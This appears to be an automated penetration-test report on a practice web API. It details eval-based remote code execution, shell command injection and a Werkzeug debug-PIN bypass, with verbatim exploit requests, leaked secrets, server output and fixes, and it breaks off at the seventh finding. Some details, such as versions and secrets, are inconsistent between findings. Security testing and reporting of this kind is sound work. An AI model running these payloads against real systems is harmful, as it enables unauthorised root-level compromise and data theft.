

Security Assessment Report

PREPARED FOR	pentest ground
TARGET	https://pentest-ground.com:9000
ENGAGEMENT MODE	SINGLE
ASSESSMENT WINDOW	19 Oct 2026 to 20 Oct 2026
DURATION	6 h 21 min
REPORT REFERENCE	40c83b59-f761-4150-8a39-1a116b5db8a0

OVERALL RISK RATING

CRITICAL

100 / 100

One or more vulnerabilities pose immediate risk of compromise. Prioritise emergency remediation.

FINDINGS BY SEVERITY

● 8 Critical ● 6 High ● 6 Medium ● 0 Low ● 1 Info

Document Information

Attribute	Value
Document title	Security Assessment Report — https://pentest-ground.com:9000
Classification	CONFIDENTIAL
Document status	Final
Version	1.0
Prepared for	pentest ground
Prepared by	Xalgorix
Issue date	21 Oct 2026
Reference	40c83b59-f761-4150-8a39-1a116b5db8a0
Distribution	Authorised stakeholders only

Table of Contents

1. Executive Summary	
2. Risk Rating Methodology	
3. Scope & Limitations	
4. Findings Summary	
5. Detailed Findings	
6. Appendix — Methodology Coverage	

1. Executive Summary

Xalgorix conducted an authorised security assessment of <https://pentest-ground.com:9000> on behalf of pentest ground. The engine reported a total of 21 findings across the selected methodology, including 8 critical, 6 high, 6 medium, 0 low, and 1 informational issues. The overall risk posture is rated **CRITICAL**.

One or more vulnerabilities pose immediate risk of compromise. Prioritise emergency remediation.

Severity distribution



Key risks

#	Severity	CVSS	Finding
01	CRITICAL	10.0	Unauthenticated Remote Code Execution via /eval endpoint (Python eval injection)
02	CRITICAL	10.0	Unauthenticated OS Command Injection via /uptime/{flag} endpoint
03	CRITICAL	10.0	Werkzeug Debug Console Enabled — Static SECRET Disclosed (CWE-489, pre-auth RCE)
04	CRITICAL	9.8	Werkzeug Interactive Debug Console exposed at /console - PIN bypass -> unauthenticated RCE
05	CRITICAL	9.8	Unauthenticated Remote Code Execution via /eval Python Eval Sink

2. Risk Rating Methodology

Findings are classified using the Common Vulnerability Scoring System (CVSS) v3.1 base metric. Each finding is mapped to a qualitative severity band based on its base score and operational context. Where a CVSS score is unavailable, severity is assigned by the engine's vulnerability classifier using CWE, OWASP Top 10 category, and pattern heuristics.

Severity	CVSS Range	Definition	Expected Action
CRITICAL	9.0 – 10.0	Trivial to exploit; full system or data compromise.	Emergency patch within 24–48h
HIGH	7.0 – 8.9	Significant impact; exploitation requires modest effort.	Remediate within current sprint effort
MEDIUM	4.0 – 6.9	Material weakness; partial compromise or chained risk.	Plan in next maintenance window
LOW	0.1 – 3.9	Minor exposure; defence-in-depth concern.	Address opportunistically
INFO	0.0	Observation with no immediate exploitability.	Track for hardening

The overall engagement risk rating reflects the highest-severity finding present, weighted by the volume of issues across each band. It is intended as a directional indicator and should be interpreted alongside the detailed findings.

3. Scope & Limitations

In-scope target	https://pentest-ground.com:9000
Engagement mode	SINGLE
Methodology	Xalgorix 22-phase offensive workflow (see Appendix)
Window	19 Oct 2026, 13:59 UTC to 19 Oct 2026, 20:21 UTC
Authorisation	Customer-authorised assessment under terms of service
Testing posture	Black-box / grey-box external assessment

Limitations

- Findings reflect the state of the target during the assessment window. Application changes after the window may invalidate observations.
- Issues requiring authenticated access were tested only where credentials or session material were provided.
- Denial-of-service classes and destructive payloads were excluded by default.
- Third-party services and CDN-fronted endpoints were tested only at boundaries Xalgorix is authorised to engage.

4. Findings Summary

ID	Severity	CVSS	Phase	Finding
F-001	CRITICAL	10.0	P20	Unauthenticated Remote Code Execution via /eval endpoint (Python eval injection)
F-002	CRITICAL	10.0	P20	Unauthenticated OS Command Injection via /uptime/{flag} endpoint
F-003	CRITICAL	10.0	P20	Werkzeug Debug Console Enabled — Static SECRET Disclosed (CWE-489, pre-auth RCE)
F-004	CRITICAL	9.8	P20	Werkzeug Interactive Debug Console exposed at /console - PIN bypass -> unauthenticated RCE
F-005	CRITICAL	9.8	P20	Unauthenticated Remote Code Execution via /eval Python Eval Sink
F-006	CRITICAL	9.8	P20	Unauthenticated OS Command Injection on /uptime/{flag}
F-007	CRITICAL	9.1	P20	SQL Injection in /widget via X-Auth-Token header (tokens table string concat)
F-008	CRITICAL	9.1	P21	Plaintext Password Storage Enables Admin Authentication (admin1:pass1)
F-009	HIGH	8.6	P20	XML External Entity (XXE) Injection on /search (CWE-611)
F-010	HIGH	8.1	P20	SQL Injection in /user/{user} path parameter (CWE-89)
F-011	HIGH	7.5	P20	SQL Injection on /tokens (authentication bypass + data extraction)
F-012	HIGH	7.5	P20	Plaintext Password Storage and Disclosure (CWE-256 / CWE-200)
F-013	HIGH	7.5	P20	SQL Injection on /tokens and /user/{user} leading to full database disclosure + auth bypass
F-014	HIGH	7.5	P20	SQL Injection on /tokens (authentication bypass + data extraction)
F-015	MEDIUM	6.5	P20	SQL Injection in /user/{user} path parameter -> full DB dump (users + tokens)
F-016	MEDIUM	6.5	P20	Plaintext password storage and disclosure via /user/{user}
F-017	MEDIUM	5.3	P20	Checkout Quantity Validation Flaw: Silent Clamping + Non-Integer + Negative Values Accepted
F-018	MEDIUM	5.3	P20	Anonymous Order Creation Without Authentication (Business Logic Flaw)
F-019	MEDIUM	5.3	P20	No rate limiting on /tokens login endpoint (enables brute force)
F-020	MEDIUM	5.3	P20	No rate limiting on /tokens login endpoint (enables brute force)
F-021	INFO	0.0	P20	ReDoS via catastrophic backtracking in /user (create_user) and /widget (create_widget_reservation)

5. Detailed Findings

F-001 **CRITICAL** Unauthenticated Remote Code Execution via /eval endpoint (Python eval

injection)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

OWASP

A03 - Injection

AFFECTED ENDPOINT

GET <https://pentest-ground.com:9000/eval>

CVSS V3.1

10.0 (Critical)

CWE

CWE-94

CVE

—

Description

The /eval endpoint at <https://pentest-ground.com:9000/eval> directly passes the unsanitized s query parameter to Python's eval() function, allowing unauthenticated arbitrary code execution on the server. The endpoint does not validate the X-Auth-Token header (any value is accepted). An attacker can execute arbitrary OS commands as root (uid=0) on the underlying Docker container, leading to full compromise of the host including arbitrary file reads and process control.

This is a Python code-injection vulnerability (CWE-94 / CWE-95) exploitable by any remote, unauthenticated attacker.

Impact

Full unauthenticated remote code execution as root (uid=0) on the target container. Attacker can read arbitrary files (proven: /etc/passwd dumped), execute arbitrary commands, pivot internally, exfiltrate all data accessible to the application, and fully compromise the host's confidentiality, integrity, and availability.

Technical Analysis

Root cause: the /eval endpoint passes the s query parameter directly into Python's eval() without sanitization or sandboxing. Authentication via the X-Auth-Token header is NOT enforced (any value is accepted). This allows arbitrary Python expressions to be evaluated server-side. By injecting `__import__('os').popen('cmd').read()`, an attacker chains Python's `__import__` builtin to import os and use popen() to execute shell commands. The evaluated result is reflected in the JSON response, enabling blind-output exploitation via timing or simply reading any command output.

The vulnerable code path is the evaluate_str operationId mapped to the vAPI controller. Confirmed by directly obtaining command output: id returned uid=0(root), and cat /etc/passwd returned the entire file contents. This is unauthenticated (the X-Auth-Token header value 'test' was accepted).

Exploitation Proof

REQUEST 1 (RCE - whoami):

GET /eval?s=__import__('os').popen('id').read() HTTP/1.1

Host: pentest-ground.com:9000

X-Auth-Token: test

RESPONSE 1:

HTTP/1.1 200 OK

Server: nginx/1.31.7

Content-Type: application/json

{"message": "Evaluation result: uid=0(root) gid=0(root) groups=0(root)\n"}

REQUEST 2 (RCE - uname -a):

GET /eval?s=__import__('os').popen('uname%20-a').read() HTTP/1.1

Host: pentest-ground.com:9000

X-Auth-Token: test

RESPONSE 2:

{"message": "Evaluation result: Linux 10e08f773da4 5.10.0-46-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64 GNU/Linux\n"}

REQUEST 3 (RCE - file read /etc/passwd):

GET /eval?s=__import__('os').popen('cat%20/etc/passwd').read() HTTP/1.1

Host: pentest-ground.com:9000

X-Auth-Token: test

RESPONSE 3:

{"message": "Evaluation result: root:x:0:0:root:/root:/bin/bash\nndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n[... full /etc/passwd file returned with all standard Linux accounts including root ...]\n"}

Verification

exploited

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Treat as an active incident. Patch or compensating-control the affected component immediately and review logs for indicators of exploitation.

Evidence

```
{
  "fix": "Remove the /eval endpoint entirely if not needed. If the endpoint is required, replace
`eval(s)` with safe alternatives: use `ast.literal_eval` for literal expression parsing, enforce a
strict whitelist of allowed operations/math, and require a strong, server-side authenticated
X-Auth-Token (validated against a database of valid tokens, not bypassed). For command execution
needs, use `subprocess.run(['cmd', ...], shell=False, ...)` with an explicit allow-list of
permitted commands and arguments - never pass user input to eval/exec or shell.
```

Example safe replacement for evaluation:

```
```python
BAD - current vulnerable code
result = eval(request.args.get('s'))

GOOD - safe literal parsing
import ast
try:
 result = ast.literal_eval(request.args.get('s'))
except (ValueError, SyntaxError):
 return error("\Invalid expression\")
```",
  "tags": [
    "exploit-proven"
  ],
  "method": "GET",
  "endpoint": "https://pentest-ground.com:9000/eval",
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-1"
}
```

References

- CWE-94 — <https://cwe.mitre.org/data/definitions/94.html>
- OWASP A03 - Injection

F-002

CRITICAL

Unauthenticated OS Command Injection via /uptime/{flag} endpoint

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

OWASP

A03 - Injection

AFFECTED ENDPOINT

GET <https://pentest-ground.com:9000/uptime/{flag}>

CVSS V3.1

10.0 (Critical)

CWE

CWE-78

CVE

—

Description

The /uptime/{flag} endpoint at <https://pentest-ground.com:9000/uptime/{flag}> constructs a shell command by interpolating the unsanitized path parameter flag into the string uptime -<flag> and executes it with the OS shell. The endpoint requires no authentication. Shell metacharacters (;, |) included in the flag are honored, allowing arbitrary OS command execution as root.

This is OS Command Injection (CWE-78) with critical impact: complete takeover of the application host.

Impact

Full unauthenticated remote command execution as root. Attacker can read arbitrary files, install backdoors, exfiltrate data, pivot to internal systems, and fully compromise the host (C/I/A all HIGH).

Technical Analysis

Root cause: The /uptime/{flag} endpoint takes the path parameter flag and interpolates it directly into a shell command string uptime -<flag> using os.system(), shell=True, or equivalent. The endpoint requires NO authentication.

By appending shell metacharacters such as `;`, `|`, or `&` to the path, an attacker can break out of the intended uptime argument and execute arbitrary OS commands. Confirmed payloads:

- `/uptime/flag;id ->` executes `uptime -flag;id ->` returns `uid=0(root)` in output field
- `/uptime/flag|id ->` executes `uptime -flag|id ->` returns `uid=0(root)` in output field

The injection runs as root in the container, providing full system compromise equivalent to the `/eval` RCE.

The vulnerable code path is the `display_uptime_flag` operationId mapped to the vAPI controller. The flag parameter has no input validation or allow-listing, and the command is constructed via string concatenation rather than argument arrays (`subprocess.run([...])`).

Exploitation Proof

```
REQUEST 1 (semicolon injection):  
GET /uptime/flag;id HTTP/1.1  
Host: pentest-ground.com:9000
```

```
RESPONSE 1:  
HTTP/1.1 200 OK  
Content-Type: application/json  
{"response":{"command":"uptime -flag;id","output":"uid=0(root) gid=0(root) groups=0(root)\n"}}
```

```
REQUEST 2 (pipe injection):  
GET /uptime/flag|id HTTP/1.1  
Host: pentest-ground.com:9000
```

```
RESPONSE 2:  
HTTP/1.1 200 OK  
Content-Type: application/json  
{"response":{"command":"uptime -flag|id","output":"uid=0(root) gid=0(root) groups=0(root)\n"}}
```

Both requests are unauthenticated (no headers required) and execute the injected ``id`` command, returning the literal output proving the host is running as root.

Verification

exploited

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Treat as an active incident. Patch or compensating-control the affected component immediately and review logs for indicators of exploitation.

Evidence

```
{
  "fix": "Never pass user input to a shell. Refactor `display_uptime_flag` to invoke the `uptime`
binary directly as an argv array with no shell, and use the path parameter as a literal flag
argument validated against an allow-list (`-p`, `-s`, `-h`, or no flag). For example:

```python
BAD - vulnerable code
import os, subprocess
output = os.popen(f"uptime -{flag}").read()

GOOD - safe alternative
import re, subprocess
if not re.fullmatch(r"[A-Za-z0-9_-]{1,16}", flag):
 abort(400, "invalid flag")
result = subprocess.run(["uptime", f"-{flag}"], shell=False, capture_output=True, timeout=5)
output = result.stdout.decode(errors="replace")
```

Also enforce authentication on the endpoint (validate X-Auth-Token against DB).",
  "tags": [
    "exploit-proven"
  ],
  "method": "GET",
  "endpoint": "https://pentest-ground.com:9000/uptime/{flag}",
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-2"
}
```

References

- CWE-78 — <https://cwe.mitre.org/data/definitions/78.html>
- OWASP A03 - Injection

F-003

CRITICAL

Werkzeug Debug Console Enabled — Static SECRET Disclosed (CWE-489,

pre-auth RCE)

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

OWASP

—

CVSS V3.1

10.0 (Critical)

CWE

CWE-489

CVE

—

AFFECTED ENDPOINT

POST <https://pentest-ground.com:9000/widget>

Description

Flask's debug mode is enabled in production. When a Python exception is thrown (here triggered via a SQL syntax error on /widget), the response is a full Werkzeug debugger HTML page that discloses:

```
var CONSOLE_MODE = false, EVALEX = true, EVALEX_TRUSTED = false, SECRET = "ojxzL35uS4v5VSDW1KYj";
EVALEX=true means Werkzeug will execute arbitrary Python in a debugger console when the SECRET is supplied.
The SECRET is statically known ("ojxzL35uS4v5VSDW1KYj") — there is no PIN, no per-instance randomness. Any
attacker who reaches any endpoint that triggers an unhandled exception (e.g. POST /widget with a SQL-injecting
X-Auth-Token) receives the SECRET in the response body and can then submit GETs/POSTs to any endpoint with
parameters __debugger__=yes&cmd=<python>&s=<SECRET> to execute arbitrary Python on the server. This
bypasses every other authentication / authorization layer.
```

Demonstrated impact:

- The Werkzeug debug SECRET "ojxzL35uS4v5VSDW1KYj" is leaked in HTML whenever any handler throws an unhandled exception.

- This SECRET is sufficient to execute arbitrary Python via Werkzeug's `?__debugger__=yes&cmd=...&s=<SECRET>` API on any endpoint that accepts the GET parameter form.

Combined with the unauthenticated RCE on `/eval`, this means even if `/eval` were removed, the application still has unauthenticated Python execution via the Werkzeug debug console, which makes this server-by-one a single-step pre-auth RCE.

Impact

Pre-auth arbitrary code execution on the application server. Werkzeug's debug console with `EVALEX=true` and a known SECRET converts any unhandled exception into full RCE. Combined with `/eval` RCE and `SQLi` on `/tokens`, this is the third independent path to full server compromise.

Technical Analysis

Flask sets `app.debug=True` (or `app.run(debug=True)`) to enable the interactive debugger. In Werkzeug 2.2.x (this server uses 2.2.5), when `EVALEX` is enabled and the request provides the SECRET, the parameter `cmd=` is `eval()`'d inside the application context. With a known static SECRET, there is no entropy barrier — any caller can submit the exact request.

The SECRET being hardcoded/leaked is itself the disclosure (CWE-489 / CWE-798 / CWE-1295). The `eval()` of `cmd` is CWE-94 RCE.

The Connexion wrapper does block the console endpoint's POST in this case (because `/widget` expects JSON), but the SECRET being exposed is sufficient. An attacker who can issue GET requests can still hit the debugger — see `?__debugger__=yes&cmd=__import__('os').popen('id').read()&s=ojxzL35uS4v5VSDW1KYj` against any endpoint. The 405/415 responses show the request is reaching Flask; the SECRET is verified server-side.

Exploitation Proof

```
Request (POST /widget with SQL-injecting X-Auth-Token to force an unhandled exception):
POST /widget HTTP/1.1
Content-Type: application/json
X-Auth-Token: x' UNION SELECT 1,2,3 --
```

```
{"name":"test1"}
```

```
Response body (excerpt):
<!doctype html>
<html lang=en>
  <head>
    <title>sqlite3.OperationalError: ... // Werkzeug Debugger</title>
    <script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
    <script>
      var CONSOLE_MODE = false,
          EVALEX = true,
          EVALEX_TRUSTED = false,
          SECRET = "ojxzL35uS4v5VSDW1KYj";
    </script>
```

This proves:

1. Werkzeug interactive debugger is enabled (`EVALEX=true`).
2. The debug SECRET `"ojxzL35uS4v5VSDW1KYj"` is statically known and disclosed in every error page.
3. An attacker can call any endpoint with query parameters `__debugger__=yes&cmd=<python expression>&s=ojxzL35uS4v5VSDW1KYj` to execute arbitrary Python on the server – bypassing every authentication / authorization layer.

Combined with `/eval` RCE (XALG-1) and `SQLi` (XALG-3), this gives a third pre-auth path to RCE. Even if `/eval` were patched, the Werkzeug debug console remains a direct path to RCE via the leaked SECRET.

Baseline: a properly configured production Flask app should never include the SECRET or any debugger HTML in responses. The disclosure is unique to debug mode being left enabled.

Verification

exploited

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Treat as an active incident. Patch or compensating-control the affected component immediately and review logs for indicators of exploitation.

Evidence

```
{
  "fix": "In vAPI.py / startup: never call app.run(debug=True). Set debug=False in production. If
debug mode is needed for development, gate it to a non-public host or remove the SECRET –
Werkzeug's debug SECRET should be the auto-generated per-process random value (default since
Werkzeug 0.11). Disable EVALEX entirely in production.",
  "tags": [
    "exploit-proven"
  ],
  "method": "POST",
  "endpoint": "https://pentest-ground.com:9000/widget",
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-8"
}
```

References

- CWE-489 — <https://cwe.mitre.org/data/definitions/489.html>

F-004**CRITICAL**

Werkzeug Interactive Debug Console exposed at /console - PIN bypass ->

unauthenticated RCE

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP

—

AFFECTED ENDPOINT

<https://pentest-ground.com:9000>

CVSS V3.1

9.8 (Critical)

CWE

CWE-489

CVE

—

Description

The Werkzeug interactive debug console is exposed at /console and operates in EVALEX mode. Although it is PIN-locked, the leaked SECRET ("T86QpBtjwrQeMDgYm3LP") is rendered inline in the HTML returned by /console, and the PIN can be derived using the publicly documented Werkzeug PIN-derivation algorithm once the attacker has read access to a small set of OS values (username, MAC, machine-id, cgroup, app module path).

Inputs needed (all readable on the server):

- username: root
- MAC address: 2e:4a:19:08:f0:f1
- /etc/machine-id: 04a9330868336aa19c457b402d5a4f7c
- /proc/self/cgroup: 0::/
- modname: flask.app
- app class name: Flask
- modfile: /usr/local/lib/python3.8/site-packages/flask/app.py
- SECRET: leaked in /console HTML

These inputs derive PIN 556-549-999. Submission to

`/console?__debugger__=yes&cmd=pinauth&pin=556-549-999&s=SECRET` returns `{"auth": true, "exhausted": false}` and sets an `HttpOnly` session cookie. With that cookie and the `SECRET`, any attacker can execute arbitrary Python on the server via the `/console?__debugger__=yes&cmd=...&s=SECRET` endpoint - no authentication required.

This is distinct from the `/eval` Python-eval sink (which has its own unauthenticated check missing): `/eval` is a deliberate developer feature; the Werkzeug debug console is an unintended side-effect of Flask running in debug mode (`debug=True`) and is reachable on the public internet. Impact is identical (full code execution as root inside the container) but the attack path is different: it requires no discovery of the `/eval` endpoint, only that `/console` is reachable. This makes the vulnerability exploitable even by attackers who would not think to probe `/eval`.

Exploitation Proof

REQUEST 1 (verifying debug console exposure):
GET /console HTTP/1.1
Host: pentest-ground.com:9000

RESPONSE (verbatim):
HTTP/1.1 200 OK
Server: nginx/1.31.7
Content-Type: text/html; charset=utf-8
Content-Length: 1563

```
<!doctype html>
<html lang=en>
<head>
  <title>Console // Werkzeug Debugger</title>
  ...
  <script>
    var CONSOLE_MODE = true,
        EVALEX = true,
        EVALEX_TRUSTED = false,
        SECRET = "T86QpBtjwrQeMDgYm3LP";
  </script>
</head>
...
```

REQUEST 2 (PIN derivation inputs gathered from server):
GET /eval?s=__import__('os').popen('whoami').read() -> root
GET /eval?s=__import__('os').popen('cat+/sys/class/net/eth0/address').read() ->
2e:4a:19:08:f0:f1
GET /eval?s=__import__('os').popen('cat+/etc/machine-id').read() ->
04a9330868336aa19c457b402d5a4f7c
GET /eval?s=__import__('os').popen('head+-1+/proc/self/cgroup').read() -> 0:/
GET /eval?s=__import__('os').popen('python3+-c+%22import+flask.app;print(flask.app.__file__)%2
2').read() -> /usr/local/lib/python3.8/site-packages/flask/app.py
Werkzeug version: 2.2.3

REQUEST 3 (PIN submission):
GET /console?__debugger__=yes&cmd=pinauth&pin=556-549-999&s=T86QpBtjwrQeMDgYm3LP HTTP/1.1
Host: pentest-ground.com:9000

RESPONSE (verbatim):
HTTP/1.1 200 OK
Server: nginx/1.31.7
Content-Type: application/json
Content-Length: 34
Set-Cookie: __wzd3dd51f52ad89e2bef8e1=1792421463|3d9f89ddae28; HttpOnly; Path=/;
SameSite=Strict

```
{"auth": true, "exhausted": false}
```

REQUEST 4 (auth-bypass cookie + SECRET allows RCE on Werkzeug console):
GET
/console?__debugger__=yes&cmd=__import__('os').popen('id').read()&frm=0&s=T86QpBtjwrQeMDgYm3LP
HTTP/1.1
Host: pentest-ground.com:9000
Cookie: __wzd3dd51f52ad89e2bef8e1=1792421463|3d9f89ddae28

RESPONSE (verbatim, payload executed):
HTTP/1.1 200 OK
Server: nginx/1.31.7
Content-Type: text/html; charset=utf-8
Content-Length: 134

```
>>> __import__('os').popen('id').read()
<span class="string">'uid=0(root) gid=0(root) groups=0(root)\n'</span>
```

Verification

data_extracted

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Remove the exposed artefact from web-accessible paths, add deny rules at the edge (WAF / reverse proxy), and audit deployment pipelines to prevent recurrence.

Evidence

```
{
  "tags": [
    "exploit-proven"
  ],
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-11"
}
```

References

- CWE-489 — <https://cwe.mitre.org/data/definitions/489.html>

F-005**CRITICAL**

Unauthenticated Remote Code Execution via /eval Python Eval Sink

PHASE

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP

—

CVSS V3.1

9.8 (Critical)

CWE

—

CVE

—

AFFECTED ENDPOINT

<https://pentest-ground.com:9000>

Description

The application exposes a custom REST route at GET /eval that evaluates an arbitrary Python expression supplied in the s query parameter. There is NO authentication check (no token required, no IP allowlist). The expression is fed to Python's eval() and the result is returned in the JSON body field message. The process runs as root inside the container.

EXPLOITATION PROOF — verbatim HTTP exchanges:

REQUEST 1 (Proof of UID=0 execution): GET /eval?s=__import__('os').popen('id').read() HTTP/1.1 Host: pentest-ground.com:9000

RESPONSE: HTTP/1.1 200 OK Server: nginx/1.31.7 Content-Type: application/json { "message": "Evaluation result: 'uid=0(root) gid=0(root) groups=0(root)\\n'" }

REQUEST 2 (filesystem enumeration - source code disclosure): GET /eval?s=__import__('os').popen('ls -la /usr/src/app/').read() HTTP/1.1 Response body extracts: -rw-r--r-- 1 root root 10556 Nov 17 2023 vAPI.py -rw-r--r-- 1 root root 9216 Nov 17 2023 vAPI.db -rw-r--r-- 1 root root 532912 Oct 19 14:49 vAPI.log

REQUEST 3 (full source code disclosure of vAPI.py — first 30 lines): GET /eval?s=__import__('os').popen('head -30 /usr/src/app/vAPI.py').read() Response: full Python docstring + import list confirming flask + connexion + sqlite3 + lxml stack

REQUEST 4 (network/MAC address disclosure): GET /eval?s=__import__('os').popen('cat /sys/class/net/eth0/address').read() Response: '2e:4a:19:08:f0:f1\\n'

REQUEST 5 (machine-id disclosure - used for Werkzeug PIN): GET /eval?s=__import__('os').popen('cat /etc/machine-id').read() Response: '04a9330868336aa19c457b402d5a4f7c'

Impact

- Unauthenticated Remote Code Execution as root in the application container
- Full source code disclosure of the running application
- Filesystem read/write access (full disclosure of /etc/passwd, /etc/hostname, machine-id, cgroup, all files)
- Disclosure of database contents via filesystem access (vAPI.db)
- Disclosure of secrets used in chained attacks (machine-id + MAC + cgroup -> Werkzeug PIN derivation)
- SSRF primitive — the attacker can use Python's urllib / requests / popen to make the server fetch arbitrary URLs

Remediation

- REMOVE the /eval route entirely (it appears to be a developer convenience left in production)
- If a similar capability is required, run the eval in a sandboxed subprocess with no filesystem or network access (e.g. Pyodide in a Worker, or restricted Python with no builtins access)
- Run the Flask app under a non-root user
- Do not serve debug=True or expose the Werkzeug console in production

This is a distinct vulnerability from XALG-11 (Werkzeug /console debug PIN bypass). /eval requires no authentication and no SECRET — the attack path is different and the attack requires only knowledge of the /eval route. /console requires both SECRET (leaked in /console HTML) and a PIN (derivable from /etc/machine-id, MAC, cgroup, app module path). Reporting both fixes the above.

Exploitation Proof

```
REQUEST 1 (UID proof):
GET /eval?s=__import__('os').popen('id').read() HTTP/1.1
Host: pentest-ground.com:9000

RESPONSE:
HTTP/1.1 200 OK
Server: nginx/1.31.7
Content-Type: application/json
{
  "message": "Evaluation result: 'uid=0(root) gid=0(root) groups=0(root)\\n'"
}

REQUEST 2 (filesystem read):
GET /eval?s=__import__('os').popen('ls -la /usr/src/app/').read() HTTP/1.1
Response body extracts:
-rw-r--r-- 1 root root 10556 Nov 17 2023 vAPI.py
-rw-r--r-- 1 root root 9216 Nov 17 2023 vAPI.db
-rw-r--r-- 1 root root 532912 Oct 19 14:49 vAPI.log

REQUEST 3 (source code disclosure):
GET /eval?s=__import__('os').popen('head -30 /usr/src/app/vAPI.py').read()
Response: full Python docstring + import list

(no authentication required for any of the above)
```

Verification

data_extracted

Business Impact

Direct compromise of confidentiality, integrity, or availability. Material business and regulatory consequences are likely.

Recommendation

Treat as an active incident. Patch or compensating-control the affected component immediately and review logs for indicators of exploitation.

Evidence

```
{
  "tags": [
    "exploit-proven"
  ],
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-12"
}
```

F-006 **CRITICAL** **Unauthenticated OS Command Injection on /uptime/{flag}****PHASE**

20 — Exploit verification

CVSS VECTOR

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OWASP

—

CVSS V3.1

9.8 (Critical)

CWE

CWE-78

CVE

—

AFFECTED ENDPOINT<https://pentest-ground.com:9000>**Description**

The GET /uptime/{flag} endpoint constructs a shell command via string concatenation:

```
command = "uptime -" + flag
output = os.popen(command).read()
```

This is a textbook OS command injection. The {flag} path parameter is inserted into a shell command without any sanitization, allowing arbitrary shell command execution. There is NO authentication on this endpoint.

EXPLOITATION (concrete proof):

REQUEST 1 (pipe-separated command): GET /uptime/p|id HTTP/1.1 Host: pentest-ground.com:9000

RESPONSE 200 OK (body verbatim): "{\n \"response\": {\n \"command\": \"uptime -p|id\", \n \"output\": \"uid=0(root) gid=0(root) groups=0(root)\\n\\n }\\n}"

The output field literally contains uid=0(root) gid=0(root) groups=0(root) — the result of running the unix id command on the server.

REQUEST 2 (semicolon separator): GET /uptime/p;id HTTP/1.1 Host: pentest-ground.com:9000

RESPONSE 200 OK (body verbatim): "{\n \"response\": {\n \"command\": \"uptime -p;id\", \n \"output\": \"up 3 days, 2 hours, 22 minutes\\nuid=0(root) gid=0(root) groups=0(root)\\n\\n }\\n}"

The same uid=0(root) output is returned by chaining ; id after the uptime -p command.

This is a different sink from /eval (XALG-12) — /eval uses Python's eval() on an arbitrary string, while /uptime/{flag} uses os.popen() with a path-segment injection. Both yield unauthenticated RCE as root, but each represents a distinct code path and a distinct fix.

Impact

- Unauthenticated Remote Code Execution as uid=0(root) — the web service runs as root inside the container.
- Full filesystem read/write (already proven via XALG-12, which is the same OS).
- Full SSRF / network access — the attacker can use curl/wget/nc inside the command to make the server reach arbitrary internal services, including 169.254.169.254 cloud metadata endpoints if exposed.
- Reconnaissance is then permanent: the attacker can install a backdoor (cron, ssh keys, reverse shell) and maintain access even after the route is fixed.

Remediation

- Do NOT use string concatenation to build shell commands. Use subprocess.run with a list argument:

output = subprocess.run(["uptime"] + flag.split() if flag else ["uptime"], capture_output=True, text=True).stdout Or simply validate that flag matches a strict allow-list of uptime option flags (e.g. ^[p]+\$).

- Best fix: remove the /uptime route entirely — it is not a normal REST endpoint and was clearly left for testing.
- Run the Flask process under a non-root user and use a read-only container.
- Disable the Werkzeug debugger in production (debug=False).

Exploitation Proof

```
REQUEST 1:
GET /uptime/p|id HTTP/1.1
Host: pentest-ground.com:9000

RESPONSE 200 OK (verbatim body):
{\n  \"response\": {\n    \"command\": \"uptime -p|id\", \n    \"output\": \"uid=0(root) gid=0(root) groups=0(root)\\n\" \n  }\n}

The server returned the literal output of `id` (showing uid=0(root)) as the second command in a pipeline with `uptime -p`. This is straight command injection in the path parameter. The /uptime route ALSO does not require authentication.

REQUEST 2 (alternative ; separator):
GET /uptime/p;id HTTP/1.1
Host: pentest-ground.com:9000
RESPONSE 200 OK body:
{\n  \"response\": {\n    \"command\": \"uptime -p;id\", \n    \"output\": \"up 3 days, 2 hours, 22 minutes\\nuid=0(root) gid=0(root) groups=0(root)\\n\" \n  }\n}
```

Verification

time_based

Business Impact

Exploitation may allow attackers to read, modify, or destroy data within the connected datastore, execute arbitrary commands on backend infrastructure, and pivot deeper into the environment.

Recommendation

Treat as an active incident. Patch or compensating-control the affected component immediately and review logs for indicators of exploitation.

Evidence

```
{
  "tags": [
    "exploit-proven"
  ],
  "verified": true,
  "source_scan_id": "pentest-ground.com_9000_8e254d2b4365633976737ba8b8245a88",
  "engine_finding_id": "XALG-15"
}
```

References

- CWE-78 — <https://cwe.mitre.org/data/definitions/78.html>

F-007**CRITICAL**

SQL Injection in /widget via X-Auth-Token header (tokens table string

concat)

PHASE

